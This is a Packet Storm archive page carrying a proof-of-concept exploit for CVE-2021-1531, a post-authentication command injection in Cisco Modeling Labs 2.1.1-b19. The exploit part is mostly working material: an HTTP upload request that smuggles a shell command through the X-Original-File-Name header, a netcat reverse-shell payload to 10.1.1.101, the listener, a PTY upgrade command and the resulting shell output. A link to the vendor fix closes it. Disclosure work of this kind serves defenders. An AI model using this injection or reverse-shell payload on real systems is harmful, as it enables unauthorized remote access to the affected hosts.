Cisco Modeling Labs 2.1.1-b19 Remote Command Execution

Authored by Jeremy Brown | Posted Jun 23, 2021

Cisco Modeling Labs version 2.1.1-b19 remote command execution exploit.

tags | exploit, remote
systems | cisco
advisories | CVE-2021-1531
SHA-256 | 29df00cdf8fbbcafabb5f3a4cccb147529145b52b4f8832dee4e09e3d2d05d94 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Cisco Modeling Labs 2.1.1-b19 Post-Auth RCE Vulnerability

CVE-2021-1531

=======
Details
=======

Authenticated command injection in the web portal via the X-Original-File-Name header.

Tested with portal 'admin' user who does not have a system login or SSH access, but likely works for any user
who can upload files in the portal.

=====
Repro
=====

-------
Request
-------

POST /api/v0/images/upload HTTP/1.1
Host: 10.10.10.118
X-Original-File-Name: test.rpm';id>/tmp/123'
Authorization: Bearer [jwt token]
Content-Length: 0

--------
Response
--------

HTTP/1.1 200 OK
Server: nginx/1.14.1
...

"Success"

----------------
Local monitoring
----------------

pid=5547 executed [/bin/sh -c /usr/local/bin/imagetool -stderrthreshold=INFO -multipart move
'/var/local/virl2/nginx-temp-folder/0063443599' '/var/local/virl2/dropfolder/test.rpm';id>/tmp/123''; exit 0 ]

.....

pid=5555 executed [id ]

$ cat /tmp/123
uid=982(virl2) gid=980(virl2) groups=980(virl2),982(wireshark),986(libvirt)
context=system_u:system_r:unconfined_service_t:s0

============
Exploitation
============

The netcat binary with -e support is installed on the system, which makes gaining a remote shell as the virl2
user easy for demo.

-------
Payload
-------

X-Original-File-Name: test.rpm';nc 10.1.1.101 5000 -e /bin/bash'

--------
Listener
--------

$ nc -l -p 5000
.....
*connection received from cml2*

/usr/libexec/platform-python -c 'import pty; pty.spawn("/bin/bash")'

*** VIRL2 network simulator monitor ***

CLI> uname -a
Linux cml2-controller.cml.lab 4.18.0-80.11.2.el8_0.x86_64 #1 SMP Tue Sep 24 11:32:19 UTC 2019 x86_64 x86_64
x86_64 GNU/Linux

CLI> pwd
/var/local/virl2

===
Fix
===

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cml-cmd-inject-N4VYeQXB
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 180 files
- Ubuntu 78 files
- Debian 24 files
- LiquidWorm 23 files
- malvuln 12 files
- nu11secur1ty 10 files
- Gentoo 9 files
- Google Security Research 8 files
- T. Weber 4 files
- Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,733)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,924)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,601)
Encryption (2,349)
Exploit (50,358)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (820)
Kernel (6,290)
Local (14,201)
Magazine (586)
Overflow (12,418)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,043)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,776)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,294)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,448)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,101)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,132)
Web (9,357)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,158)
UnixWare (185)
Windows (6,511)
Other

packet storm

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed